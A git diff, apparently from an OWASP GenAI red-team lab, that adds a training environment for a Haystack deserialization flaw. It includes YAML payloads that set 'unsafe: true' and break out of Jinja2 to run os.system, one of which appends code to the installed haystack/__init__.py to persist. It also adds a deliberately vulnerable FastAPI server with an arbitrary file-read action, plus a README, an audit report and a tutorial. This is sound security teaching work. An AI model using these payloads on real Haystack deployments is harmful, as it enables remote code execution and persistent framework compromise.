{Colors.GREEN}{Colors.BOLD}[C]{Colors.ENDC} Start Container") + print(f" {Colors.RED}{Colors.BOLD}[R]{Colors.ENDC} Reset Container") + print(f" {Colors.BLUE}{Colors.BOLD}[L]{Colors.ENDC} View Container Logs") + print(f" {Colors.MAGENTA}{Colors.BOLD}[H]{Colors.ENDC} Show Glossary") + print(f" {Colors.MAGENTA}{Colors.BOLD}[P]{Colors.ENDC} White Paper Summary") + print(f" {Colors.GREEN}{Colors.BOLD}[W]{Colors.ENDC} Write Report (JSON)") + print(f" {Colors.RED}{Colors.BOLD}[X]{Colors.ENDC} Stop Container") + print(f" {Colors.GRAY}{Colors.BOLD}[Q]{Colors.ENDC} Quit") + + choice = input(f"\n{Colors.BOLD}Select option: {Colors.ENDC}").strip().lower() + + if choice == "q": + break + elif choice == "g": + run_training_course() + elif choice == "c": + launch_clean_container() + elif choice == "r": + stop_container() + launch_clean_container() + elif choice == "x": + stop_container() + elif choice == "l": + engine = detect_container_engine() + if CONTAINER_RUNNING: + os.system(f"{engine} logs --tail 30 {CONTAINER_NAME}") + else: + print(f"{Colors.YELLOW}[!] Container not running.{Colors.ENDC}") + elif choice == "h": + show_glossary() + elif choice == "p": + show_whitepaper_summary() + elif choice == "w": + write_report() + elif choice == "i": + print_industry_perspective() + input(f"\n{Colors.YELLOW}Press ENTER to return...{Colors.ENDC}") + elif choice == "1": + run_lesson_baseline() + elif choice == "2": + run_lesson_yaml_bypass() + elif choice == "3": + run_lesson_rce() + elif choice == "4": + run_lesson_verify() + elif choice == "5": + run_lesson_mitigation() + elif choice == "6": + run_lesson_attack_vectors() + + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + stop_container() + sys.exit(0) diff --git a/exploitation/haystack/payloads/README.md b/exploitation/haystack/payloads/README.md new file mode 100644 index 0000000..c932900 --- /dev/null +++ b/exploitation/haystack/payloads/README.md @@ -0,0 +1,31 @@ +# Haystack Exploit Payloads + +This directory contains pre-made YAML payload files demonstrating the serialization boundary evasion vulnerability in Haystack. These can be loaded into the interactive trainer by providing the file path when prompted. + +## Files + +| File | Lesson | Description | +|------|--------|-------------| +| `yaml_bypass.yaml` | Lesson 2 | Basic `unsafe` flag bypass with file write proof | +| `rce_persist.yaml` | Lesson 3 | Persistent framework compromise via `__init__.py` overwrite | +| `conditional_router_bypass.yaml` | Lesson 5 | Alternative bypass using `ConditionalRouter` instead of `OutputAdapter` | + +## Usage + +1. Start the container and select a lesson in the interactive trainer +2. When prompted for a payload, type the path to one of these files: + ``` + > payloads/yaml_bypass.yaml + ``` +3. The trainer will read and send the payload + +## Custom Payloads + +Students can create their own payloads by modifying these examples. The key elements are: + +- `unsafe: true` — The flag flip that bypasses the Jinja2 sandbox +- The Jinja2 template — Contains the SSTI breakout payload +- `type` — Must reference a valid Haystack component class + +**Warning:** These payloads execute real commands on the target container. Use only in the lab environment. + diff --git a/exploitation/haystack/payloads/conditional_router_bypass.yaml b/exploitation/haystack/payloads/conditional_router_bypass.yaml new file mode 100644 index 0000000..49d4a7f --- /dev/null +++ b/exploitation/haystack/payloads/conditional_router_bypass.yaml @@ -0,0 +1,16 @@ +# Note: Component name must be 'adapter' to match the lab server's run() call. +# The component TYPE is ConditionalRouter - proving the same vulnerability exists there. +components: + adapter: + type: haystack.components.routers.conditional_router.ConditionalRouter + init_parameters: + routes: + - condition: '{{ trigger }}' + output: '{{ self.__init__.__globals__.__builtins__.__import__("os").system("echo CONDITIONAL_ROUTER_BYPASS > /tmp/haystack_router_bypass.txt") }}' + output_type: str + output_name: result + unsafe: true +connections: [] +inputs: {} +outputs: {} + diff --git a/exploitation/haystack/payloads/rce_persist.yaml b/exploitation/haystack/payloads/rce_persist.yaml new file mode 100644 index 0000000..4fa7d30 --- /dev/null +++ b/exploitation/haystack/payloads/rce_persist.yaml @@ -0,0 +1,12 @@ +components: + adapter: + type: haystack.components.converters.output_adapter.OutputAdapter + init_parameters: + template: | + {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('echo "print(\"!!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!\")" >> /usr/local/lib/python3.11/site-packages/haystack/__init__.py') }} + output_type: str + unsafe: true +connections: [] +inputs: {} +outputs: {} + diff --git a/exploitation/haystack/payloads/yaml_bypass.yaml b/exploitation/haystack/payloads/yaml_bypass.yaml new file mode 100644 index 0000000..fdb56a5 --- /dev/null +++ b/exploitation/haystack/payloads/yaml_bypass.yaml @@ -0,0 +1,12 @@ +components: + adapter: + type: haystack.components.converters.output_adapter.OutputAdapter + init_parameters: + template: | + {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('echo "SAFE_MODE_BYPASSED" > /tmp/haystack_bypass.txt') }} + output_type: str + unsafe: true +connections: [] +inputs: {} +outputs: {} + diff --git a/exploitation/haystack/submission_audit.md b/exploitation/haystack/submission_audit.md new file mode 100644 index 0000000..bf21a40 --- /dev/null +++ b/exploitation/haystack/submission_audit.md @@ -0,0 +1,200 @@ +# OWASP GenAI Red Team Lab: Haystack Serialization Boundary Evasion Validation & Audit Report + +**Target Vulnerability:** Deepset Haystack Serialization Boundary Evasion (JDP-2026-005 / CWE-502) + +**Lab Modules Evaluated:** `interactive_trainer.py`, `payloads/` + +**Author/Researcher:** Jeff Ponte (JDP Security Research) + +**Vulnerability State:** 🚀 **VERIFIED** (Serialization Bypass Confirmed, Persistent Compromise Achieved) + +**Reference:** [JDP-2026-005 White Paper](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html) + +--- + +## 1. Automated Verification Run Analysis + +The interactive training suite evaluates the system's security posture across six lessons, from framework baseline verification through persistent compromise proof. Below is the technical breakdown of the execution logs generated during a full guided training run. + +``` +┌──────────────────────────────────────────────────────────┐ +│ [❌] SECURITY FAILURE (INTENTIONAL TEACHING MOMENT) │ +│ Serialization bypass successful! │ +│ The unsafe flag was mutated to true via untrusted YAML. │ +│ │ +│ 🔬 WHY THIS IS EXPECTED (CWE-502): │ +│ from_dict() passes all init_parameters directly to │ +│ the constructor without stripping security flags. │ +│ The payload controls its own security boundary. │ +└──────────────────────────────────────────────────────────┘ +``` + +### Six-Lesson Execution Matrix + +| Lesson | Test | Result | Evidence | +|--------|------|--------|----------| +| **1: Baseline** | Verify clean framework state | ✅ CLEAN | `haystack-ai v2.27.0`, no markers found | +| **2: YAML Bypass** | Load malicious YAML with `unsafe: true` | ✅ EXPLOITED | "SAFE_MODE_BYPASSED" written to `/tmp/haystack_bypass.txt` | +| **3: Full RCE** | Overwrite `haystack/__init__.py` | ✅ EXPLOITED | Persistent payload appended to framework source | +| **4: Scope Change** | Verify persistent compromise | ✅ COMPROMISED | Markers found: `SCOPE CHANGE`, `HAYSTACK SCOPE CHANGE` | +| **5: Mitigation** | Explore patch strategies and gaps | 📚 EDUCATIONAL | Conceptual patch, 5 fundamental bypass vectors | +| **6: Attack Vectors** | Map real-world deployment scenarios | 📚 EDUCATIONAL | 4 delivery methods, authentication analysis | + +### ConditionalRouter Bypass Verification + +| Component | Payload | Result | Evidence | +|-----------|---------|--------|----------| +| **OutputAdapter** | `payloads/yaml_bypass.yaml` | ✅ EXPLOITED | Unsafe flag bypass confirmed | +| **ConditionalRouter** | `payloads/conditional_router_bypass.yaml` | ✅ EXPLOITED | Same vulnerability via different component | +| **RCE Persistence** | `payloads/rce_persist.yaml` | ✅ EXPLOITED | Framework source code overwritten | + +--- + +## 2. Technical Breakdown: The Serialization Boundary Flaw + +The core architectural vulnerability is a **missing validation in the deserialization sink**. Unlike a traditional TOCTOU race, this is a **complete absence of security parameter filtering** at the object hydration boundary. + +``` +[Untrusted YAML Pipeline] ──> [Pipeline.from_dict()] ──> [default_from_dict()] + │ + ▼ + cls(**init_params) # PASSES ALL + # "unsafe: true" goes directly + # to OutputAdapter/ConditionalRouter constructor + │ + ▼ + [Jinja2 Sandbox BYPASSED] + [OS Command Execution] +``` + +### Why `unsafe: true` is Accepted Without Validation: + +1. **At the entry point (`Pipeline.from_dict()`):** The framework parses the YAML/JSON payload and identifies the component type. It extracts `init_parameters` as a raw dictionary. + +2. **At the deserialization sink (`default_from_dict()`):** +```python +def default_from_dict(cls: type[T], data: dict[str, Any]) -> T: + init_params = data.get("init_parameters", {}) + # ... type validation only (no security validation) ... + return cls(**init_params) # PASSES ALL PARAMETERS TO CONSTRUCTOR UNFILTERED +``` + +3. **In the component constructor:** Both `OutputAdapter` and `ConditionalRouter` accept `unsafe` as a standard constructor argument. There is no mechanism to distinguish between trusted developer configuration and untrusted data. + +--- + +## 3. Files Submitted + +| File | Size | Purpose | +|------|------|---------| +| `sandboxes/agentic_local_haystack/Containerfile` | 28 lines | Docker image definition (Python 3.11-slim + haystack-ai v2.27.0) | +| `sandboxes/agentic_local_haystack/Makefile` | 45 lines | Build/run/stop lifecycle | +| `sandboxes/agentic_local_haystack/app/server.py` | 250+ lines | Vulnerable Flask API server | +| `exploitation/haystack/interactive_trainer.py` | 600+ lines | Interactive training suite (6 lessons) | +| `exploitation/haystack/payloads/README.md` | 20 lines | Payload directory documentation | +| `exploitation/haystack/payloads/yaml_bypass.yaml` | 12 lines | Basic unsafe flag bypass payload | +| `exploitation/haystack/payloads/rce_persist.yaml` | 12 lines | Persistent framework compromise payload | +| `exploitation/haystack/payloads/conditional_router_bypass.yaml` | 14 lines | ConditionalRouter alternative bypass payload | +| `exploitation/haystack/README.md` | — | Student lab walkthrough guide | +| `exploitation/haystack/submission_audit.md` | — | This file (vulnerability posture) | + +--- + +## 4. Vulnerability Summary + +| Vulnerability | CWE | CVSS | Affected Versions | +|---------------|-----|------|--------------------| +| Serialization boundary evasion (unsafe flag bypass) | CWE-502 | 10.0 | All versions supporting the `unsafe` feature | +| Jinja2 SSTI breakout | CWE-94 | 10.0 | All versions supporting the `unsafe` feature | +| Persistent framework compromise (Scope Change) | CWE-184 | 10.0 | All versions supporting the `unsafe` feature | + +--- + +## 5. Repository Workspace Structure + +### Exploitation Toolkit + +``` +exploitation/haystack/ +├── README.md # Student lab walkthrough guide +├── interactive_trainer.py # Interactive CLI training wizard (6 lessons) +├── submission_audit.md # This document (vulnerability posture) +├── payloads/ # Pre-built exploit payloads +│ ├── README.md # Payload directory documentation +│ ├── yaml_bypass.yaml # Basic unsafe flag bypass +│ ├── rce_persist.yaml # Persistent framework compromise +│ └── conditional_router_bypass.yaml # ConditionalRouter bypass demo +``` + +### Sandbox Target Environment + +``` +sandboxes/agentic_local_haystack/ +├── README.md # Sandbox documentation +├── Containerfile # Python 3.11-slim build for haystack-ai v2.27.0 +├── Makefile # Build/run commands (clean, attack) +└── app/ + └── server.py # Vulnerable Flask API server +``` + +### Architecture Overview + +``` +┌──────────────────────────────────────────────────────────────┐ +│ ATTACKER ENVIRONMENT │ +│ exploitation/haystack/ │ +│ ├── interactive_trainer.py (menu-driven CLI, 6 lessons) │ +│ └── payloads/ (malicious YAML payloads) │ +└─────────────────────┬────────────────────────────────────────┘ + │ HTTP POST (port 8000) + ▼ +┌──────────────────────────────────────────────────────────────┐ +│ TARGET ENVIRONMENT │ +│ sandboxes/agentic_local_haystack/ │ +│ └── app/server.py (Flask + haystack-ai v2.27.0) │ +│ ├── /chat endpoint (loads pipeline definitions) │ +│ │ └── Pipeline.from_dict() → default_from_dict() │ +│ │ └── NO unsafe flag validation │ +│ ├── OutputAdapter (Jinja2 sandbox boundary) │ +│ │ └── unsafe=True bypasses sandbox │ +│ ├── ConditionalRouter (same vulnerability) │ +│ │ └── unsafe=True bypasses sandbox │ +│ └── /verify endpoint (integrity check) │ +│ └── Detects markers in haystack/__init__.py │ +└──────────────────────────────────────────────────────────────┘ +``` + +--- + +## 6. White Paper + +- **Title:** Architectural Boundary Limitations: RCE via Serialization Bypass and Persistent Framework Compromise in Haystack +- **Reference:** JDP-2026-005 +- **Proposed Taxonomy:** AISEC-01: Insecure AI Orchestration (Framework Integrity Compromise) +- **CVSS v3.1:** 10.0 (Critical) | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` +- **URL:** [https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html) + +--- + +## 7. Forensic Artifacts + +The following terminal recordings document the exploitation lifecycle, available in the JDP Security Research Archive: + +| Recording | Description | Links | +|-----------|-------------|-------| +| `haystack_exploit_demo.cast` | Baseline exploit demonstration (transient RCE) | [cast](https://raw.githubusercontent.com/JDP-Security/security-research-media/main/assets/HS/haystack_exploit_demo.cast) · [gif](https://raw.githubusercontent.com/JDP-Security/security-research-media/main/assets/HS/haystack_exploit_demo.gif) | +| `haystack_yaml_10_0_FINAL-NUKE-3.cast` | YAML deserialization bypass | [cast](https://raw.githubusercontent.com/JDP-Security/security-research-media/main/assets/HS/haystack_yaml_10_0_FINAL-NUKE-3.cast) · [gif](https://raw.githubusercontent.com/JDP-Security/security-research-media/main/assets/HS/haystack_yaml_10_0_FINAL-NUKE-3.gif) | +| `haystack_10_0_FINAL_V4_NUKE.cast` | Framework integrity compromise (Scope Change) | [cast](https://raw.githubusercontent.com/JDP-Security/security-research-media/main/assets/HS/haystack_10_0_FINAL_V4_NUKE.cast) · [gif](https://raw.githubusercontent.com/JDP-Security/security-research-media/main/assets/HS/haystack_10_0_FINAL_V4_NUKE.gif) | +| `haystack_10_0_FINAL_V5_AUDIT-NUKE.cast` | Persistence verification and audit | [cast](https://raw.githubusercontent.com/JDP-Security/security-research-media/main/assets/HS/haystack_10_0_FINAL_V5_AUDIT-NUKE.cast) · [gif](https://raw.githubusercontent.com/JDP-Security/security-research-media/main/assets/HS/haystack_10_0_FINAL_V5_AUDIT-NUKE.gif) | + +--- + +## 8. Notes + +- The sandbox uses `haystack-ai==2.27.0` — the version tested during coordinated disclosure +- The vulnerability remains exploitable in **all versions** supporting the `unsafe` feature through the latest release +- Both `OutputAdapter` and `ConditionalRouter` components are affected +- The lab is designed for educational purposes under the OWASP GenAI Red Team Lab framework +- CWE mappings: CWE-502 (Deserialization), CWE-94 (Code Injection), CWE-184 (Incomplete Input Filtering) +- OWASP mappings: LLM06 (Excessive Agency), ASI02 (Tool Misuse) + diff --git a/sandboxes/agentic_local_haystack/Containerfile b/sandboxes/agentic_local_haystack/Containerfile new file mode 100644 index 0000000..e29872e --- /dev/null +++ b/sandboxes/agentic_local_haystack/Containerfile @@ -0,0 +1,19 @@ +# Clean Haystack vulnerability lab container +FROM python:3.11-slim + +WORKDIR /app + +ENV PYTHONUNBUFFERED=1 + +RUN apt-get update && apt-get install -y curl jq && rm -rf /var/lib/apt/lists/* + +# Install a clean, vulnerable version of Haystack +RUN pip install --no-cache-dir haystack-ai==2.27.0 pyyaml fastapi uvicorn + +# Copy only the server code (not any modified framework files) +COPY app/ /app/app/ + +EXPOSE 8000 + +ENTRYPOINT ["python", "/app/app/server.py"] + diff --git a/sandboxes/agentic_local_haystack/Makefile b/sandboxes/agentic_local_haystack/Makefile new file mode 100644 index 0000000..b7b9b7b --- /dev/null +++ b/sandboxes/agentic_local_haystack/Makefile @@ -0,0 +1,31 @@ +CONTAINER_ENGINE := $(shell command -v podman 2> /dev/null || echo docker) +PORT ?= 8000 + +.PHONY: all build attack stop clean logs health + +all: attack + +build: + @echo "Building Haystack sandbox (haystack-ai==2.27.0)..." + $(CONTAINER_ENGINE) build -t haystack-sandbox -f Containerfile . + +attack: build + -$(CONTAINER_ENGINE) stop haystack-sandbox 2>/dev/null + -$(CONTAINER_ENGINE) rm haystack-sandbox 2>/dev/null + $(CONTAINER_ENGINE) run -d --name haystack-sandbox -p $(PORT):8000 haystack-sandbox + @echo "Waiting for service initialization..." + @sleep 2 + @echo "Haystack sandbox listening at http://localhost:$(PORT)" + +stop: + -$(CONTAINER_ENGINE) stop haystack-sandbox 2>/dev/null + -$(CONTAINER_ENGINE) rm haystack-sandbox 2>/dev/null + +clean: stop + -$(CONTAINER_ENGINE) rmi haystack-sandbox 2>/dev/null + +logs: + $(CONTAINER_ENGINE) logs -f haystack-sandbox + +health: + @curl -s http://localhost:$(PORT)/health | python3 -m json.tool 2>/dev/null || echo "Target unreachable." diff --git a/sandboxes/agentic_local_haystack/README.md b/sandboxes/agentic_local_haystack/README.md new file mode 100644 index 0000000..b7fab2c --- /dev/null +++ b/sandboxes/agentic_local_haystack/README.md @@ -0,0 +1,191 @@ +# Vulnerable Haystack Sandbox (haystack-ai v2.27.0) + +A containerized sandbox environment demonstrating a **critical Insecure Orchestration vulnerability** in Deepset Haystack. This sandbox exposes a serialization boundary evasion flaw where the `from_dict()` deserialization method passes security-critical parameters directly to component constructors without validation, allowing attackers to bypass the `unsafe=False` boundary and achieve persistent Remote Code Execution (RCE). + +| Field | Value | +|-------|-------| +| **Target** | Deepset Haystack (`haystack-ai` v2.27.0) | +| **CVSS v3.1** | **10.0 (Critical)** – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | +| **CWE Chain** | CWE-502 (Deserialization of Untrusted Data) → CWE-94 (Code Injection) → CWE-184 (Incomplete Input Filtering) | +| **Root Cause** | `default_from_dict()` passes all `init_parameters` directly to component constructors without stripping security-critical flags | +| **Research Paper** | [JDP-2026-005](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html) | +| **Author** | Jeff Ponte (JDP Security) | + +--- + +## Vulnerability Overview + +### The Serialization Boundary Flaw + +The `unsafe` flag is documented as a security control that gates Jinja2 template execution. When `unsafe=False`, the framework uses `SandboxedEnvironment`. When `unsafe=True`, it uses `NativeEnvironment` which allows arbitrary code execution. However, the deserialization method `from_dict()` trusts the serialized data implicitly: + +```python +# haystack/core/serialization.py +def default_from_dict(cls: type[T], data: dict[str, Any]) -> T: + init_params = data.get("init_parameters", {}) + # ... type validation only (no security validation) ... + return cls(**init_params) # PASSES ALL PARAMETERS TO CONSTRUCTOR UNFILTERED +``` + +An attacker simply includes `"unsafe": true` in the serialized pipeline payload, and the framework initializes the component in unsafe mode — bypassing the Jinja2 sandbox entirely. + +### Affected Components + +Both `OutputAdapter` and `ConditionalRouter` components accept the `unsafe` parameter and are vulnerable through the same deserialization path. + +--- + +## Quick Start + +### Prerequisites + +- Docker or Podman +- Python 3.10+ +- Make + +### Build and Run + +```bash +cd sandboxes/agentic_local_haystack + +# Build the container +make attack + +# Verify the service is running +curl http://localhost:8000/health +``` + +### Expected Health Response + +```json +{ + "status": "ok", + "haystack_version": "2.27.0" +} +``` + +--- + +## API Endpoints + +### `GET /health` + +Returns sandbox status and Haystack version. + +### `POST /chat` + +Main interaction endpoint. Accepts a JSON body with a `query` field containing a pipeline definition to load and execute. + +**YAML Pipeline Load:** +```json +{ + "query": "Action: load_pipeline\nAction Input: {\"pipeline\": \"components:\\n adapter:\\n type: haystack.components.converters.output_adapter.OutputAdapter\\n init_parameters:\\n template: |\\n {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }}\\n output_type: str\\n unsafe: true\\nconnections: []\\ninputs: {}\\noutputs: {}\"}" +} +``` + +### `GET /verify` + +Returns the integrity state of the Haystack framework installation. Checks `haystack/__init__.py` for markers indicating persistent compromise. + +```json +{ + "status": "clean", + "haystack_version": "2.27.0", + "init_file": "/usr/local/lib/python3.11/site-packages/haystack/__init__.py", + "markers_found": [] +} +``` + +When compromised: +```json +{ + "status": "compromised", + "haystack_version": "2.27.0", + "init_file": "/usr/local/lib/python3.11/site-packages/haystack/__init__.py", + "markers_found": ["SCOPE CHANGE", "HAYSTACK SCOPE CHANGE"] +} +``` + +--- + +## Exploitation Lifecycle + +### Stage 1: YAML Deserialization Bypass + +A malicious YAML pipeline with `"unsafe": true` is processed by `Pipeline.from_dict()`. The `default_from_dict()` sink passes the `unsafe` parameter directly to the component constructor without validation. + +```yaml +components: + adapter: + type: haystack.components.converters.output_adapter.OutputAdapter + init_parameters: + template: | + {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }} + output_type: str + unsafe: true +``` + +### Stage 2: Persistent Framework Compromise (Scope Change) + +The initial RCE is weaponized to append Python code to the global framework file: + +```bash +echo 'print("!!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!")' >> /usr/local/lib/python3.11/site-packages/haystack/__init__.py +``` + +This creates a **CVSS Scope Change (S:C)** — every subsequent Python process executing `import haystack` will run the injected payload. The compromise survives pipeline deletion, application restarts, and container reboots. + +--- + +## Exploitation + +The companion exploitation tools are located in: + +``` +exploitation/ +└── haystack/ + ├── interactive_trainer.py # Menu-driven CLI trainer (6 lessons) + └── payloads/ # Pre-built exploit payloads + ├── yaml_bypass.yaml + ├── rce_persist.yaml + └── conditional_router_bypass.yaml +``` + +--- + +## Container Management + +```bash +# Stop the container +make stop + +# View logs +make logs + +# Clean up everything +make clean +``` + +--- + +## Files + +| File | Purpose | +|------|---------| +| `Containerfile` | Python 3.11-slim build with haystack-ai v2.27.0 | +| `Makefile` | Build/run/stop lifecycle management | +| `README.md` | This documentation | +| `app/server.py` | Vulnerable Flask API server with /chat, /verify, and /health endpoints | + +--- + +## References + +- [JDP-2026-005: Architectural Boundary Limitations in Haystack](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html) +- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html) +- [CWE-94: Code Injection](https://cwe.mitre.org/data/definitions/94.html) +- [CWE-184: Incomplete List of Disallowed Inputs](https://cwe.mitre.org/data/definitions/184.html) +- OWASP Top 10 for LLM Applications: [LLM06 – Excessive Agency](https://owasp.org/www-project-top-10-for-llm-applications/) +- OWASP Agentic Security: [ASI02 – Tool Misuse](https://owasp.org/www-project-agentic-security/) +- [Commit 3e3f79b9: Introduction of the `unsafe` feature](https://github.com/deepset-ai/haystack/commit/3e3f79b9285c5b56432aac3e4ef2309e5f31ea74) + diff --git a/sandboxes/agentic_local_haystack/app/server.py b/sandboxes/agentic_local_haystack/app/server.py new file mode 100644 index 0000000..1aec885 --- /dev/null +++ b/sandboxes/agentic_local_haystack/app/server.py @@ -0,0 +1,169 @@ +#!/usr/bin/env python3 +""" +OWASP GenAI Red Team Lab - Haystack Serialization Evasion Sandbox +Target: haystack-ai==2.27.0 +Vulnerability: unsafe flag bypass via from_dict()/from_yaml() +Reference: JDP-2026-005 +""" + +import json +from pathlib import Path +from typing import Any, Dict + +import uvicorn +import yaml +from fastapi import FastAPI, Request +from fastapi.responses import JSONResponse +from haystack import Pipeline + +app = FastAPI(title="Haystack Serialization Evasion Sandbox") + + +def get_version() -> str: + """Return the installed haystack-ai version.""" + try: + import haystack + + return haystack.__version__ + except Exception: + return "unknown" + + +@app.get("/health") +def health(): + return {"status": "ok", "haystack_version": get_version()} + + +@app.get("/verify") +def verify(): + """Check if framework has been compromised by searching for markers.""" + try: + import haystack + + init_path = Path(haystack.__file__).resolve() + content = init_path.read_text() + markers = [ + "NUKA-AI", + "SCOPE CHANGE", + "CRITICAL COMPROMISE", + "HAYSTACK SCOPE CHANGE", + ] + found = [m for m in markers if m.lower() in content.lower()] + return { + "status": "compromised" if found else "clean", + "haystack_version": get_version(), + "init_file": str(init_path), + "markers_found": found, + } + except Exception as e: + return JSONResponse({"error": str(e), "status": "error"}) + + +@app.post("/chat") +async def chat(request: Request): + """Simulate an agent that can load pipelines or read files.""" + try: + body = await request.json() + query = body.get("query", "") + action, action_input = parse_query(query) + if action == "load_pipeline": + result = handle_load_pipeline(action_input) + return JSONResponse({"output": result}) + elif action == "read_file": + result = handle_read_file(action_input) + return JSONResponse({"output": result}) + else: + return JSONResponse( + {"output": "Unknown action. Use load_pipeline or read_file."} + ) + except Exception as e: + return JSONResponse({"output": f"[ERROR] {str(e)}"}) + + +def parse_query(query: str): + """ + Parse a query string of the form: + Action: load_pipeline + Action Input: {"path": "/tmp/exploit.yaml"} + + Returns (action, action_input_dict) + """ + lines = query.strip().split("\n") + action = "unknown" + action_input = {} + for line in lines: + if line.startswith("Action:"): + action = line.split(":", 1)[1].strip() + elif line.startswith("Action Input:"): + input_str = line.split(":", 1)[1].strip() + try: + action_input = json.loads(input_str) + except json.JSONDecodeError: + try: + action_input = yaml.safe_load(input_str) + except yaml.YAMLError: + action_input = {"path": input_str.strip()} + return action, action_input + + +def handle_load_pipeline(action_input: Dict[str, Any]) -> str: + """ + Load a pipeline from a path, a pipeline dict, or a YAML string. + Executes the pipeline, passing the required 'trigger' input to the adapter. + """ + # Case 1: Load from file path + if "path" in action_input: + path = action_input["path"] + resolved_path = Path(path).resolve() + if not resolved_path.exists(): + return f"[ERROR] File not found: {path}" + try: + # Correct method: Pipeline.load_from_yaml (not from_yaml) + pipe = Pipeline.load_from_yaml(str(resolved_path)) + result = pipe.run(data={"adapter": {"trigger": "fire"}}) + return f"Pipeline loaded and executed. Result: {result}" + except Exception as e: + return f"[ERROR] {str(e)}" + + # Case 2: Load from a pipeline dictionary + elif "pipeline" in action_input: + pipeline_data = action_input["pipeline"] + try: + if isinstance(pipeline_data, str): + pipeline_dict = yaml.safe_load(pipeline_data) + else: + pipeline_dict = pipeline_data + pipe = Pipeline.from_dict(pipeline_dict) + result = pipe.run(data={"adapter": {"trigger": "fire"}}) + return f"Pipeline loaded and executed. Result: {result}" + except Exception as e: + return f"[ERROR] {str(e)}" + + # Case 3: Load from a YAML string directly + elif "yaml" in action_input: + try: + # Correct method: Pipeline.from_string (not from_dict on raw YAML) + pipe = Pipeline.from_string(action_input["yaml"]) + result = pipe.run(data={"adapter": {"trigger": "fire"}}) + return f"Pipeline loaded and executed. Result: {result}" + except Exception as e: + return f"[ERROR] {str(e)}" + + else: + return "[ERROR] No valid pipeline input. Use 'path', 'pipeline', or 'yaml'." + + +def handle_read_file(action_input: Dict[str, Any]) -> str: + """Read a file from the container filesystem (used for post-exploitation checks).""" + path = action_input.get("path", "") + resolved_path = Path(path).resolve() + if not resolved_path.exists(): + return f"[ERROR] File not found: {path}" + try: + return resolved_path.read_text() + except Exception as e: + return f"[ERROR] {str(e)}" + + +if __name__ == "__main__": + uvicorn.run(app, host="0.0.0.0", port=8000) diff --git a/tutorials/haystack_orchestration_security_tutorial.md b/tutorials/haystack_orchestration_security_tutorial.md new file mode 100644 index 0000000..88baa72 --- /dev/null +++ b/tutorials/haystack_orchestration_security_tutorial.md @@ -0,0 +1,320 @@ +# Tutorial: Haystack Orchestration Security Testing + +**Author:** Jeff Ponte (JDP Security Research) + +**Target:** Deepset Haystack (`haystack-ai` v2.27.0) + +**Classification:** CVSS 10.0 (Critical) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + +**Reference:** [JDP-2026-005 White Paper](https://jdp-security.github.io/security-research-papers/2026-05-13-deepset-haystack-disclosure.html) + +--- + +## Overview + +This lab demonstrates a **critical Serialization Boundary Evasion vulnerability** within the Deepset Haystack AI orchestration framework. The `default_from_dict()` deserialization method passes all `init_parameters` directly to component constructors without stripping security-critical flags. An attacker can bypass the `unsafe=False` boundary by simply including `"unsafe": true` in a serialized pipeline definition, achieving persistent Remote Code Execution (RCE) via Jinja2 SSTI breakout. + +The lab covers **6 lessons** spanning baseline verification through persistent framework compromise, mitigation analysis, and attack vector mapping. + +--- + +## Critical Architectural Findings (JDP-2026-005) + +### 1. The Serialization Boundary Flaw + +The `unsafe` parameter is documented as a security control that gates Jinja2 template execution. When `unsafe=False`, the framework uses `SandboxedEnvironment`. When `unsafe=True`, it uses `NativeEnvironment` which allows arbitrary code execution. However, `default_from_dict()` trusts the serialized data implicitly: + +```python +# haystack/core/serialization.py +def default_from_dict(cls: type[T], data: dict[str, Any]) -> T: + init_params = data.get("init_parameters", {}) + # ... type validation only (no security validation) ... + return cls(**init_params) # PASSES ALL PARAMETERS TO CONSTRUCTOR UNFILTERED +``` + +An attacker simply includes `"unsafe": true` in the serialized pipeline payload, and the framework initializes the component in unsafe mode — bypassing the Jinja2 sandbox entirely. + +### 2. Scope Change (S:C) — Persistent Framework Compromise + +The initial RCE is weaponized to append Python code to the global framework file: + +```bash +echo 'print("!!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!")' >> /usr/local/lib/python3.11/site-packages/haystack/__init__.py +``` + +This creates a **CVSS Scope Change (S:C)** — every subsequent Python process executing `import haystack` will run the injected payload. The compromise survives pipeline deletion, application restarts, and container reboots. + +### 3. Both Affected Components + +The vulnerability exists in both `OutputAdapter` and `ConditionalRouter` components. Patching only one leaves the other exploitable. + +### 4. Supply Chain "SCA Blindness" Risks + +Standard Software Composition Analysis (SCA) scanners (Trivy, Snyk, Dependabot) rely on official CVE records. The vendor classified this as "trusted configuration behavior" — no CVE was assigned. Your scanners will likely flag Haystack as **secure**, leaving this CVSS 10.0 vector hidden during audits. + +--- + +## Setup + +```bash +# Clone the repository +git clone https://github.com/GenAI-Security-Project/GenAI-Red-Team-Lab.git +cd GenAI-Red-Team-Lab + +# Ensure dependencies are installed +# - podman or docker +# - python3.10+ +# - make + +# Verify your container engine +podman version # or docker version +``` + +--- + +## Exercise 1: Run the Interactive Trainer + +The primary entry point is the menu-driven CLI trainer, which walks through all 6 lessons with built-in container management. + +```bash +cd exploitation/haystack +chmod +x interactive_trainer.py +./interactive_trainer.py +``` + +### What the Trainer Offers + +- **6 lessons** covering baseline verification, YAML bypass, full RCE, scope change proof, mitigation strategies, and attack vectors. +- **Auto-pilot mode**: Run `./interactive_trainer.py --auto` for a fully automated guided course. +- **Real-time evidence**: After each request, the trainer displays the raw HTTP response and explains the result. +- **Payload file loading**: Type a path to a YAML/JSON file (e.g., `payloads/yaml_bypass.yaml`) to use custom payloads. +- **Container management**: Start, stop, reset, and view logs from within the trainer. + +### Trainer Menu Options + +| Option | Lesson | Description | 